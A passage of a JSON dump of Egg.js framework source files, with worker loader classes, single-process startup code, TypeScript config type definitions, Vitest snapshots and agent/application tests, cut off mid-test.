    "content": "import { EggApplicationLoader } from './EggApplicationLoader.ts';\n\n/**\n * Agent worker process loader\n * @see https://github.com/eggjs/egg-core/blob/master/src/loader/egg_loader.ts\n */\nexport class AgentWorkerLoader extends EggApplicationLoader {\n  /**\n   * loadPlugin first, then loadConfig\n   */\n  async loadConfig(): Promise<void> {\n    await this.loadPlugin();\n    await super.loadConfig();\n  }\n\n  async load(): Promise<void> {\n    await this.loadAgentExtend();\n    await this.loadContextExtend();\n    await this.loadCustomAgent();\n  }\n}\n"
  },
  {
    "path": "packages/egg/src/lib/loader/AppWorkerLoader.ts",
    "content": "import { EggApplicationLoader } from './EggApplicationLoader.ts';\n\n/**\n * App worker process Loader, will load plugins\n * @see https://github.com/eggjs/egg-core/blob/master/src/loader/egg_loader.ts\n */\nexport class AppWorkerLoader extends EggApplicationLoader {\n  /**\n   * loadPlugin first, then loadConfig\n   * @since 1.0.0\n   */\n  async loadConfig(): Promise<void> {\n    await this.loadPlugin();\n    await super.loadConfig();\n  }\n\n  /**\n   * Load all directories in convention\n   * @since 1.0.0\n   */\n  async load(): Promise<void> {\n    // app > plugin > core\n    await this.loadApplicationExtend();\n    await this.loadRequestExtend();\n    await this.loadResponseExtend();\n    await this.loadContextExtend();\n    await this.loadHelperExtend();\n\n    await this.loadCustomLoader();\n\n    // app > plugin\n    await this.loadCustomApp();\n    // app > plugin\n    await this.loadService();\n    // app > plugin > core\n    await this.loadMiddleware();\n    // app\n    await this.loadController();\n    // app\n    await this.loadRouter(); // Depend on controllers\n  }\n}\n"
  },
  {
    "path": "packages/egg/src/lib/loader/EggApplicationLoader.ts",
    "content": "import { EggLoader } from '@eggjs/core';\n\nexport abstract class EggApplicationLoader extends EggLoader {\n  abstract load(): Promise<void>;\n}\n"
  },
  {
    "path": "packages/egg/src/lib/loader/index.ts",
    "content": "export { EggApplicationLoader } from './EggApplicationLoader.ts';\nexport * from './AppWorkerLoader.ts';\nexport * from './AgentWorkerLoader.ts';\n"
  },
  {
    "path": "packages/egg/src/lib/start.ts",
    "content": "import path from 'node:path';\n\nimport { importModule } from '@eggjs/utils';\nimport { readJSON } from 'utility';\n\nimport { Agent } from './agent.ts';\nimport { Application } from './application.ts';\nimport { type EggPlugin } from './types.ts';\n\nexport interface StartEggOptions {\n  /** specify framework that can be absolute path or npm package */\n  framework?: string;\n  /** directory of application, default to `process.cwd()` */\n  baseDir?: string;\n  /** ignore single process mode warning */\n  ignoreWarning?: boolean;\n  mode?: 'single';\n  env?: string;\n  plugins?: EggPlugin;\n}\n\nexport interface SingleModeApplication extends Application {\n  agent: SingleModeAgent;\n}\n\nexport interface SingleModeAgent extends Agent {\n  app: SingleModeApplication;\n}\n\n/**\n * Start egg with single process\n */\nexport async function startEgg(options: StartEggOptions = {}): Promise<SingleModeApplication> {\n  options.baseDir = options.baseDir ?? process.cwd();\n  options.mode = 'single';\n\n  // get agent from options.framework and package.egg.framework\n  if (!options.framework) {\n    try {\n      const pkg = await readJSON(path.join(options.baseDir, 'package.json'));\n      options.framework = pkg.egg.framework;\n    } catch {\n      // ignore\n    }\n  }\n  let AgentClass = Agent;\n  let ApplicationClass = Application;\n  if (options.framework) {\n    const framework = await importModule(options.framework, {\n      paths: [options.baseDir],\n    });\n    AgentClass = framework.Agent;\n    ApplicationClass = framework.Application;\n  }\n\n  const agent = new AgentClass({\n    ...options,\n  }) as SingleModeAgent;\n  await agent.ready();\n  const application = new ApplicationClass({\n    ...options,\n  }) as SingleModeApplication;\n  application.agent = agent;\n  agent.application = application;\n  await application.ready();\n\n  // emit egg-ready message in agent and application\n  application.messenger.broadcast('egg-ready');\n  return application;\n}\n"
  },
  {
    "path": "packages/egg/src/lib/types.plugin.ts",
    "content": "// enable built-in plugin types, let type check pass, e.g.: `agent.watcher`\n\nimport '@eggjs/development/types';\nimport '@eggjs/i18n/types';\nimport '@eggjs/jsonp/types';\nimport '@eggjs/logrotator/types';\nimport '@eggjs/multipart/types';\nimport '@eggjs/onerror/types';\nimport '@eggjs/schedule/types';\nimport '@eggjs/security/types';\nimport '@eggjs/session/types';\nimport '@eggjs/static/types';\nimport '@eggjs/view/types';\nimport '@eggjs/watcher/types';\n// enable tegg plugin types\nimport '@eggjs/ajv-plugin/types';\nimport '@eggjs/aop-plugin/types';\nimport '@eggjs/tegg-config/types';\nimport '@eggjs/controller-plugin/types';\nimport '@eggjs/dal-plugin/types';\nimport '@eggjs/eventbus-plugin/types';\nimport '@eggjs/orm-plugin/types';\nimport '@eggjs/schedule-plugin/types';\nimport '@eggjs/tegg-plugin/types';\n"
  },
  {
    "path": "packages/egg/src/lib/types.ts",
    "content": "import type { Socket, LookupFunction } from 'node:net';\n\nimport type { FileLoaderOptions, EggAppConfig as EggCoreAppConfig, EggAppInfo } from '@eggjs/core';\nimport type { EggLoggerOptions, EggLoggersOptions } from 'egg-logger';\nimport type { PartialDeep } from 'type-fest';\nimport type { RequestOptions as HttpClientRequestOptions } from 'urllib';\n\nimport type { MetaMiddlewareOptions } from '../app/middleware/meta.ts';\nimport type { NotFoundMiddlewareOptions } from '../app/middleware/notfound.ts';\nimport type { SiteFileMiddlewareOptions } from '../app/middleware/site_file.ts';\nimport type { Application } from './application.ts';\nimport type { Context } from './egg.ts';\n// import plugins types\nimport './types.plugin.ts';\n\nexport type { EggAppInfo, PartialDeep };\n\ntype IgnoreItem = string | RegExp | ((ctx: Context) => boolean);\ntype IgnoreOrMatch = IgnoreItem | IgnoreItem[];\n\nexport interface ClientErrorResponse {\n  body: string | Buffer;\n  status: number;\n  headers: { [key: string]: string };\n}\n\n/** egg env type */\nexport type EggEnvType = 'local' | 'unittest' | 'prod' | string;\n\n/** logger config of egg */\nexport interface EggLoggerConfig extends Omit<EggLoggersOptions, 'type'> {\n  /** custom config of coreLogger */\n  coreLogger?: Partial<EggLoggerOptions>;\n  /** allow debug log at prod, defaults to `false` */\n  allowDebugAtProd?: boolean;\n  /** disable logger console after app ready. defaults to `false` on local and unittest env, others is `true`. */\n  disableConsoleAfterReady?: boolean;\n  /** [deprecated] Defaults to `true`. */\n  enablePerformanceTimer?: boolean;\n  /** using the app logger instead of EggContextLogger, defaults to `false` */\n  enableFastContextLogger?: boolean;\n}\n\n/** Custom Loader Configuration */\nexport interface CustomLoaderConfig extends Omit<FileLoaderOptions, 'inject' | 'target'> {\n  /**\n   * an object you wanner load to, value can only be 'ctx' or 'app'. default to app\n   */\n  inject?: 'ctx' | 'app';\n  /**\n   * whether need to load files in plugins or framework, default to false\n   */\n  loadunit?: boolean;\n}\n\nexport interface HttpClientConfig {\n  /** Request timeout */\n  timeout?: number;\n  /** Default request args for httpclient */\n  request?: HttpClientRequestOptions;\n  /**\n   * @deprecated keep compatible with egg 3.x, no more used\n   */\n  useHttpClientNext?: boolean;\n  /**\n   * Allow http2\n   */\n  allowH2?: boolean;\n  lookup?: LookupFunction;\n}\n\n/**\n * Powerful Partial, Support adding ? modifier to a mapped property in deep level\n * @example\n * import { PowerPartial, EggAppConfig } from 'egg';\n *\n * // { view: { defaultEngines: string } } => { view?: { defaultEngines?: string } }\n * type EggConfig = PowerPartial<EggAppConfig>\n *\n * @deprecated use `PartialDeep` instead\n */\nexport type PowerPartial<T> = PartialDeep<T>;\n\nexport interface EggAppConfig extends EggCoreAppConfig {\n  workerStartTimeout: number;\n  baseDir: string;\n  middleware: string[];\n  coreMiddleware: string[];\n\n  /**\n   * The option of `bodyParser` middleware\n   *\n   * @member Config#bodyParser\n   * @property {Boolean} enable - enable bodyParser or not, default to true\n   * @property {String | RegExp | Function | Array} ignore - won't parse request body when url path hit ignore pattern, can not set `ignore` when `match` presented\n   * @property {String | RegExp | Function | Array} match - will parse request body only when url path hit match pattern\n   * @property {String} encoding - body encoding config, default utf8\n   * @property {String} formLimit - form body size limit, default 1mb\n   * @property {String} jsonLimit - json body size limit, default 1mb\n   * @property {String} textLimit - json body size limit, default 1mb\n   * @property {Boolean} strict - json body strict mode, if set strict value true, then only receive object and array json body\n   * @property {Number} queryString.arrayLimit - from item array length limit, default 100\n   * @property {Number} queryString.depth - json value deep length, default 5\n   * @property {Number} queryString.parameterLimit - parameter number limit, default 1000\n   * @property {String[]} enableTypes - parser will only parse when request type hits enableTypes, default is ['json', 'form']\n   * @property {Object} extendTypes - support extend types\n   * @property {String} onProtoPoisoning - Defines what action must take when parsing a JSON object with `__proto__`. Possible values are `'error'`, `'remove'` and `'ignore'`. Default is `'error'`, it will return `400` response when `Prototype-Poisoning` happen.\n   */\n  bodyParser: {\n    enable: boolean;\n    encoding: string;\n    formLimit: string;\n    jsonLimit: string;\n    textLimit: string;\n    strict: boolean;\n    queryString: {\n      arrayLimit: number;\n      depth: number;\n      parameterLimit: number;\n    };\n    ignore?: IgnoreOrMatch;\n    match?: IgnoreOrMatch;\n    enableTypes?: string[];\n    extendTypes?: {\n      json: string[];\n      form: string[];\n      text: string[];\n    };\n    /** Default is `'error'`, it will return `400` response when `Prototype-Poisoning` happen. */\n    onProtoPoisoning: 'error' | 'remove' | 'ignore';\n    onerror(err: any, ctx: Context): void;\n  };\n\n  /**\n   * logger options\n   * @member Config#logger\n   * @property {String} dir - directory of log files\n   * @property {String} encoding - log file encoding, defaults to utf8\n   * @property {String} level - default log level, could be: DEBUG, INFO, WARN, ERROR or NONE, defaults to INFO in production\n   * @property {String} consoleLevel - log level of stdout, defaults to `INFO` in local serverEnv, defaults to `WARN` in unittest, others is `NONE`\n   * @property {Boolean} disableConsoleAfterReady - disable logger console after app ready. defaults to `false` on local and unittest env, others is `true`.\n   * @property {Boolean} outputJSON - log as JSON or not, defaults to `false`\n   * @property {Boolean} buffer - if enabled, flush logs to disk at a certain frequency to improve performance, defaults to true\n   * @property {String} errorLogName - file name of errorLogger\n   * @property {String} coreLogName - file name of coreLogger\n   * @property {String} agentLogName - file name of agent worker log\n   * @property {Object} coreLogger - custom config of coreLogger\n   * @property {Boolean} allowDebugAtProd - allow debug log at prod, defaults to false\n   * @property {Boolean} enableFastContextLogger - using the app logger instead of EggContextLogger, defaults to false\n   */\n  logger: EggLoggerConfig;\n\n  /** custom logger of egg */\n  customLogger: {\n    [key: string]: EggLoggerOptions;\n  };\n\n  /** Configuration of httpclient in egg. */\n  httpclient: HttpClientConfig;\n\n  /**\n   * customLoader config\n   */\n  // customLoader: {\n  //   [key: string]: CustomLoaderConfig;\n  // };\n\n  /**\n   * It will ignore special keys when dumpConfig\n   */\n  dump: {\n    ignore: Set<string | RegExp>;\n    timing: {\n      slowBootActionMinDuration: number;\n    };\n  };\n\n  /**\n   * The environment of egg\n   */\n  env: EggEnvType;\n\n  /**\n   * The current HOME directory\n   */\n  HOME: string;\n\n  hostHeaders: string;\n\n  /**\n   * Detect request' ip from specified headers, not case-sensitive. Only worked when config.proxy set to true.\n   */\n  ipHeaders: string;\n\n  protocolHeaders: string;\n  maxProxyCount: number;\n  maxIpsCount: number;\n  proxy: boolean;\n  cookies: {\n    sameSite?: string;\n    httpOnly?: boolean;\n  };\n\n  /**\n   * The key that signing cookies. It can contain multiple keys separated by `.`\n   * @requires Cookie secret key to sign and encrypt, see https://eggjs.org/core/cookie-and-session#cookie-secret-key\n   */\n  keys: string;\n\n  /**\n   * The name of the application\n   */\n  name: string;\n\n  /**\n   * package.json\n   */\n  pkg: Record<string, any>;\n\n  rundir: string;\n\n  /**\n   * siteFile middleware options\n   */\n  siteFile: SiteFileMiddlewareOptions;\n  /**\n   * meta middleware options\n   */\n  meta: MetaMiddlewareOptions;\n  /**\n   * notfound middleware options\n   */\n  notfound: NotFoundMiddlewareOptions;\n  /**\n   * overrideMethod middleware options\n   */\n  overrideMethod: {\n    enable: boolean;\n    allowedMethods: string[];\n  };\n\n  /**\n   * onClientError handler\n   */\n  onClientError?(err: Error, socket: Socket, app: Application): ClientErrorResponse | Promise<ClientErrorResponse>;\n\n  /**\n   * server timeout in milliseconds, default to 0 (no timeout).\n   *\n   * for special request, just use `ctx.req.setTimeout(ms)`\n   *\n   * @see https://nodejs.org/api/http.html#http_server_timeout\n   */\n  serverTimeout: number | null;\n\n  cluster: {\n    listen: {\n      path: string;\n      port: number;\n      hostname: string;\n      /**\n       * enable SO_REUSEPORT socket option for server listen, default is `false`.\n       * Only available on Linux 3.9+, DragonFlyBSD 3.6+, FreeBSD 12.0+, Solaris 11.4, and AIX 7.2.5+.\n       * @see https://nodejs.org/api/net.html#serverlistenoptions-callback\n       */\n      reusePort?: boolean;\n    };\n  };\n\n  clusterClient: {\n    maxWaitTime: number;\n    responseTimeout: number;\n  };\n\n  [prop: string]: any;\n}\n\nexport type RequestObjectBody = Record<string, any>;\n\n/**\n * plugin config item interface\n */\nexport interface IEggPluginItem {\n  env?: EggEnvType[];\n  path?: string;\n  package?: string;\n  enable?: boolean;\n}\n\nexport type EggPluginItem = IEggPluginItem | boolean;\n\n/**\n * build-in plugin list\n */\nexport interface EggPlugin {\n  [key: string]: EggPluginItem | undefined;\n  onerror?: EggPluginItem;\n  session?: EggPluginItem;\n  i18n?: EggPluginItem;\n  watcher?: EggPluginItem;\n  multipart?: EggPluginItem;\n  security?: EggPluginItem;\n  development?: EggPluginItem;\n  logrotator?: EggPluginItem;\n  schedule?: EggPluginItem;\n  static?: EggPluginItem;\n  jsonp?: EggPluginItem;\n  view?: EggPluginItem;\n}\n\n/**\n * The empty interface `IService` is a placeholder, for egg\n * to auto injection service to ctx.service\n *\n * @example\n *\n * import { Service } from 'egg';\n * class FooService extends Service {\n *   async bar() {}\n * }\n *\n * declare module 'egg' {\n *   export interface IService {\n *     foo: FooService;\n *   }\n * }\n *\n * Now I can get ctx.service.foo at controller and other service file.\n */\nexport interface IService extends Record<string, any> {}\n\n/**\n * The empty interface `IController` is a placeholder, for egg\n * to auto injection controller to app.controller\n *\n * @example\n *\n * import { Controller } from 'egg';\n * class HomeController extends Controller {\n *   async index() {}\n * }\n *\n * declare module 'egg' {\n *   export interface IController {\n *     home: HomeController;\n *   }\n * }\n *\n * Now I can get app.controller.home in the application.\n */\nexport interface IController extends Record<string, any> {}\n"
  },
  {
    "path": "packages/egg/src/orm.ts",
    "content": "export * from '@eggjs/tegg/orm';\n"
  },
  {
    "path": "packages/egg/src/schedule.ts",
    "content": "// support usage `import type { EggScheduleHandler } from 'egg/schedule';`\nexport * from '@eggjs/schedule';\n// export egg schedule decorator\nexport * from '@eggjs/tegg/schedule';\n"
  },
  {
    "path": "packages/egg/src/transaction.ts",
    "content": "export * from '@eggjs/tegg/transaction';\n"
  },
  {
    "path": "packages/egg/src/urllib.ts",
    "content": "export * from 'urllib';\n"
  },
  {
    "path": "packages/egg/test/__snapshots__/index.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`should expose properties 1`] = `\n{\n  \"AccessLevel\": {\n    \"PRIVATE\": \"PRIVATE\",\n    \"PUBLIC\": \"PUBLIC\",\n  },\n  \"Acl\": [Function],\n  \"Agent\": [Function],\n  \"AgentWorkerLoader\": [Function],\n  \"AppWorkerLoader\": [Function],\n  \"Application\": [Function],\n  \"BackgroundTaskHelper\": [Function],\n  \"BaseContextClass\": [Function],\n  \"Boot\": [Function],\n  \"ClusterAgentWorkerError\": [Function],\n  \"ClusterWorkerExceptionError\": [Function],\n  \"Context\": [Function],\n  \"ContextHttpClient\": [Function],\n  \"ContextProto\": [Function],\n  \"Controller\": [Function],\n  \"CookieLimitExceedError\": [Function],\n  \"Cookies\": [Function],\n  \"EggApplicationCore\": [Function],\n  \"EggQualifier\": [Function],\n  \"EggType\": {\n    \"APP\": \"APP\",\n    \"CONTEXT\": \"CONTEXT\",\n  },\n  \"Event\": [Function],\n  \"EventContext\": [Function],\n  \"HTTPBody\": [Function],\n  \"HTTPContext\": [Function],\n  \"HTTPController\": [Function],\n  \"HTTPCookies\": [Function],\n  \"HTTPHeaders\": [Function],\n  \"HTTPMethod\": [Function],\n  \"HTTPMethodEnum\": {\n    \"DELETE\": \"DELETE\",\n    \"GET\": \"GET\",\n    \"HEAD\": \"HEAD\",\n    \"OPTIONS\": \"OPTIONS\",\n    \"PATCH\": \"PATCH\",\n    \"POST\": \"POST\",\n    \"PUT\": \"PUT\",\n  },\n  \"HTTPParam\": [Function],\n  \"HTTPParamType\": {\n    \"BODY\": \"BODY\",\n    \"COOKIES\": \"COOKIES\",\n    \"HEADERS\": \"HEADERS\",\n    \"PARAM\": \"PARAM\",\n    \"QUERIES\": \"QUERIES\",\n    \"QUERY\": \"QUERY\",\n    \"REQUEST\": \"REQUEST\",\n  },\n  \"HTTPQueries\": [Function],\n  \"HTTPQuery\": [Function],\n  \"HTTPRequest\": [Function],\n  \"Helper\": [Function],\n  \"Host\": [Function],\n  \"HttpClient\": [Function],\n  \"Inject\": [Function],\n  \"InjectOptional\": [Function],\n  \"LifecycleDestroy\": [Function],\n  \"LifecycleInit\": [Function],\n  \"LifecyclePostConstruct\": [Function],\n  \"LifecyclePostInject\": [Function],\n  \"LifecyclePreDestroy\": [Function],\n  \"LifecyclePreInject\": [Function],\n  \"LifecyclePreLoad\": [Function],\n  \"Master\": [Function],\n  \"MessageUnhandledRejectionError\": [Function],\n  \"MetadataUtil\": [Function],\n  \"Middleware\": [Function],\n  \"MultiInstanceProto\": [Function],\n  \"ObjectInitType\": {\n    \"ALWAYS_NEW\": \"ALWAYS_NEW\",\n    \"CONTEXT\": \"CONTEXT\",\n    \"SINGLETON\": \"SINGLETON\",\n  },\n  \"QualifierImplDecoratorUtil\": [Function],\n  \"QualifierUtil\": [Function],\n  \"Request\": [Function],\n  \"Response\": [Function],\n  \"Router\": [Function],\n  \"Service\": [Function],\n  \"Singleton\": [Function],\n  \"SingletonProto\": [Function],\n  \"Subscription\": [Function],\n  \"defineConfig\": [Function],\n  \"defineConfigFactory\": [Function],\n  \"definePluginFactory\": [Function],\n  \"start\": [Function],\n  \"startCluster\": [Function],\n  \"startEgg\": [Function],\n}\n`;\n"
  },
  {
    "path": "packages/egg/test/__snapshots__/urllib.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`should expose properties 1`] = `\n[\n  \"Agent\",\n  \"Dispatcher\",\n  \"FetchFactory\",\n  \"FormData\",\n  \"Headers\",\n  \"HttpClient\",\n  \"HttpClient2\",\n  \"HttpClientConnectTimeoutError\",\n  \"HttpClientRequestError\",\n  \"HttpClientRequestTimeoutError\",\n  \"MockAgent\",\n  \"ProxyAgent\",\n  \"Request\",\n  \"Response\",\n  \"USER_AGENT\",\n  \"WebFormData\",\n  \"curl\",\n  \"fetch\",\n  \"getDefaultHttpClient\",\n  \"getGlobalDispatcher\",\n  \"request\",\n  \"setGlobalDispatcher\",\n]\n`;\n"
  },
  {
    "path": "packages/egg/test/agent.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport fs from 'node:fs';\nimport path from 'node:path';\nimport { scheduler } from 'node:timers/promises';\n\nimport { mm } from '@eggjs/mock';\nimport { describe, it, afterEach, beforeAll, afterAll } from 'vitest';\n\nimport { createApp, getFilepath, type MockApplication, cluster } from './utils.ts';\n\ndescribe('test/agent.test.ts', () => {\n  afterEach(mm.restore);\n\n  describe('agent-logger-config', () => {\n    let app: MockApplication;\n\n    beforeAll(async () => {\n      app = createApp('apps/agent-logger-config');\n      return await app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('agent logger config should work', () => {\n      const fileTransport = app._agent.logger.get('file');\n      assert.equal(fileTransport.options.file, path.join('/tmp/foo', 'egg-agent.log'));\n    });\n  });\n\n  describe('agent throw', () => {\n    const baseDir = getFilepath('apps/agent-throw');\n    let app: MockApplication;\n    beforeAll(async () => {\n      app = cluster('apps/agent-throw');\n      await app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should catch unhandled exception', async () => {\n      await app.httpRequest().get('/agent-throw-async').expect(200);\n      await scheduler.wait(1000);\n      const body = fs.readFileSync(path.join(baseDir, 'logs/agent-throw/common-error.log'), 'utf8');\n      assert.match(\n        body,\n        /nodejs\\.MessageUnhandledRejectionError: event: agent-throw-async, error: agent error in async function/,\n      );\n      app.notExpect('stderr', /nodejs.AgentWorkerDiedError/);\n    });\n\n    it('should exit on sync error throw', async () => {\n      await app.httpRequest().get('/agent-throw').expect(200);\n      await scheduler.wait(1000);\n      const body = fs.readFileSync(path.join(baseDir, 'logs/agent-throw/common-error.log'), 'utf8');\n      assert.match(\n        body,\n        /nodejs\\.MessageUnhandledRejectionError: event: agent-throw, error: agent error in sync function/,\n      );\n      app.notExpect('stderr', /nodejs.AgentWorkerDiedError/);\n    });\n\n    it('should catch uncaughtException string error', async () => {\n      await app.httpRequest().get('/agent-throw-string').expect(200);\n      await scheduler.wait(1000);\n      const body = fs.readFileSync(path.join(baseDir, 'logs/agent-throw/common-error.log'), 'utf8');\n      assert.match(\n        body,\n        /nodejs\\.MessageUnhandledRejectionError: event: agent-throw-string, error: agent error string/,\n      );\n      app.notExpect('stderr', /nodejs.AgentWorkerDiedError/);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/app/extend/agent.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport { restore, createApp, type MockApplication } from '../../utils.ts';\n\ndescribe('test/app/extend/agent.test.ts', () => {\n  afterEach(restore);\n\n  describe('agent.addSingleton()', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = createApp('apps/singleton-demo');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should add singleton success', async () => {\n      // @ts-expect-error dataService no type definition\n      const dataService = app.agent.dataService;\n      let config = await dataService.get('second').getConfig();\n      assert.equal(config.foo, 'bar');\n      assert.equal(config.foo2, 'bar2');\n\n      const ds = dataService.createInstance({ foo: 'bar2' });\n      config = await ds.getConfig();\n      assert.equal(config.foo, 'bar2');\n\n      const ds2 = await dataService.createInstanceAsync({\n        foo: 'bar2',\n      });\n      config = await ds2.getConfig();\n      assert.equal(config.foo, 'bar2');\n\n      // @ts-expect-error dataServiceAsync no type definition\n      const dataServiceAsync = app.agent.dataServiceAsync;\n      config = await dataServiceAsync.get('second').getConfig();\n      assert.equal(config.foo, 'bar');\n      assert.equal(config.foo2, 'bar2');\n\n      assert.throws(() => {\n        dataServiceAsync.createInstance({ foo: 'bar2' });\n      }, /dataServiceAsync only support asynchronous creation, please use createInstanceAsync/);\n\n      const ds4 = await dataServiceAsync.createInstanceAsync({\n        foo: 'bar2',\n      });\n      config = await ds4.getConfig();\n      assert.equal(config.foo, 'bar2');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/app/extend/application.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport fs from 'node:fs';\nimport path from 'node:path';\nimport { scheduler } from 'node:timers/promises';\n\nimport { describe, it, beforeAll, afterAll } from 'vitest';\n\nimport { createApp, type MockApplication, cluster } from '../../utils.ts';\n\ndescribe('test/app/extend/application.test.ts', () => {\n  describe('app.logger', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = createApp('apps/demo');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should alias app.logger => app.loggers.logger', () => {\n      assert(app.logger === app.loggers.logger);\n    });\n\n    it('should alias app.coreLogger => app.loggers.coreLogger', () => {\n      assert(app.coreLogger === app.loggers.coreLogger);\n    });\n\n    it(\"should alias app.getLogger('coreLogger') => app.loggers.coreLogger\", () => {\n      assert(app.getLogger('coreLogger') === app.loggers.coreLogger);\n    });\n\n    it(\"should alias app.getLogger('noExist') => null\", () => {\n      assert(app.getLogger('noExist') === null);\n    });\n  });\n\n  describe('app.inspect()', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = createApp('apps/demo');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should inspect app properties', () => {\n      assert(\n        [\n          'name',\n          'baseDir',\n          'env',\n          'subdomainOffset',\n          'controller',\n          'middlewares',\n          'serviceClasses',\n          'config',\n          'httpclient',\n          'loggers',\n        ].every((p) => Object.prototype.hasOwnProperty.call(app.inspect(), p)),\n      );\n      assert(app.inspect().name === 'demo');\n    });\n  });\n\n  describe.skip('app.readyCallback()', () => {\n    let app: MockApplication;\n    afterAll(() => app.close());\n\n    it('should log info when plugin is not ready', async () => {\n      app = cluster('apps/notready');\n      // it won't be ready, so wait for the timeout\n      await scheduler.wait(11000);\n\n      app.expect('stderr', /\\[egg:core:ready_timeout] 10 seconds later a was still unable to finish./);\n    });\n  });\n\n  describe('app.locals', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = createApp('apps/locals');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should app.locals is same ref', () => {\n      return app.httpRequest().get('/app_same_ref').expect('true');\n    });\n\n    it('should app.locals not OOM', () => {\n      return app.httpRequest().get('/app_locals_oom').expect('ok');\n    });\n  });\n\n  describe('app.locals.foo = bar', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = createApp('apps/app-locals-getter');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should work', async () => {\n      return await app\n        .httpRequest()\n        .get('/test')\n        .expect({\n          locals: {\n            foo: 'bar',\n            abc: '123',\n          },\n        });\n    });\n  });\n\n  describe('app.createAnonymousContext()', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = createApp('apps/demo');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should get anonymous context object', async () => {\n      const ctx = app.createAnonymousContext({\n        socket: {\n          remoteAddress: '10.0.0.1',\n        },\n        headers: {\n          'x-forwarded-for': '10.0.0.1',\n        },\n        url: '/foobar?ok=1',\n      } as any);\n      assert(ctx.ip === '10.0.0.1');\n      assert(ctx.url === '/foobar?ok=1');\n      assert(ctx.socket.remoteAddress === '10.0.0.1');\n      assert(ctx.socket.remotePort === 7001);\n    });\n  });\n\n  describe('app.addSingleton()', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = createApp('apps/singleton-demo');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should add singleton success', async () => {\n      let config = await app.dataService.get('first').getConfig();\n      assert.equal(config.foo, 'bar');\n      assert.equal(config.foo1, 'bar1');\n\n      const ds = app.dataService.createInstance({ foo: 'barrr' });\n      config = await ds.getConfig();\n      assert.equal(config.foo, 'barrr');\n\n      const ds2 = await app.dataService.createInstanceAsync({ foo: 'barrr' });\n      config = await ds2.getConfig();\n      assert.equal(config.foo, 'barrr');\n\n      config = await app.dataServiceAsync.get('first').getConfig();\n      assert.equal(config.foo, 'bar');\n      assert.equal(config.foo1, 'bar1');\n\n      assert.throws(() => {\n        app.dataServiceAsync.createInstance({ foo: 'barrr' });\n      }, /dataServiceAsync only support asynchronous creation, please use createInstanceAsync/);\n\n      const ds4 = await app.dataServiceAsync.createInstanceAsync({\n        foo: 'barrr',\n      });\n      config = await ds4.getConfig();\n      assert.equal(config.foo, 'barrr');\n    });\n  });\n\n  describe('app.runInBackground(scope)', () => {\n    let app: MockApplication;\n    beforeAll(async () => {\n      app = createApp('apps/ctx-background');\n      await app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should run background task success', async () => {\n      await app.httpRequest().get('/app_background').expect(200).expect('hello app');\n      // await scheduler.wait(2100);\n      // const logdir = app.config.logger.dir;\n      // const log = fs.readFileSync(\n      //   path.join(logdir, 'ctx-background-web.log'),\n      //   'utf8'\n      // );\n      // assert.match(log, /mock background run at app result file size: \\d+/);\n      // assert.match(\n      //   log, /mock background run at app anonymous result file size: \\d+/\n      // );\n      // const eggLog = fs.readFileSync(path.join(logdir, 'egg-web.log'), 'utf8');\n      // assert.match(\n      //   eggLog,\n      //   /\\[egg:background] task:.*?app[/\\\\]controller[/\\\\]app\\.js:\\d+:\\d+ success \\([\\d.]+ms\\)/\n      // );\n    });\n  });\n\n  describe('app.runInAnonymousContextScope(scope)', () => {\n    it('should run task in anonymous context scope success', async () => {\n      const app = createApp('apps/app-runInAnonymousContextScope');\n      await app.ready();\n      await app.close();\n      await scheduler.wait(2100);\n      const logdir = app.config.logger.dir;\n      const logs = fs.readFileSync(path.join(logdir, 'app-runInAnonymousContextScope-web.log'), 'utf8').split('\\n');\n      // console.log(logs);\n      // 2022-12-15 23:00:08,551 INFO 86728 [-/127.0.0.1/-/1ms GET /] before close on ctx logger\n      // 2022-12-15 23:00:08,551 INFO 86728 [-/127.0.0.1/-/1ms GET /] before close on app logger\n      // 2022-12-15 23:03:16,086 INFO 89216 outside before close on app logger\n      assert.match(logs[0], / INFO \\d+ \\[-\\/127.0.0.1\\/-\\/[\\d.]+ms GET \\/] inside before close on ctx logger/);\n      assert.match(logs[1], / INFO \\d+ \\[-\\/127.0.0.1\\/-\\/[\\d.]+ms GET \\/] inside before close on app logger/);\n      assert.match(logs[2], / INFO \\d+ outside before close on app logger/);\n    });\n  });\n\n  describe('app.runInAnonymousContextScope(scope,request)', () => {\n    it('should run task in anonymous context scope with req success', async () => {\n      const app = createApp('apps/app-runInAnonymousContextScope-withRequest');\n      await app.ready();\n      await app.close();\n      await scheduler.wait(2100);\n      const logdir = app.config.logger.dir;\n      const logs = fs\n        .readFileSync(path.join(logdir, 'app-runInAnonymousContextScope-withRequest-web.log'), { encoding: 'utf8' })\n        .split('\\n');\n\n      assert.match(logs[0], / INFO \\d+ \\[-\\/127.0.0.2\\/-\\/[\\d.]+ms GET \\/] inside before close on ctx logger/);\n      assert.match(logs[1], / INFO \\d+ \\[-\\/127.0.0.2\\/-\\/[\\d.]+ms GET \\/] inside before close on app logger/);\n      assert.match(logs[2], / INFO \\d+ outside before close on app logger/);\n    });\n  });\n\n  describe('app.handleRequest(ctx, fnMiddleware)', () => {\n    let app: MockApplication;\n    beforeAll(() => 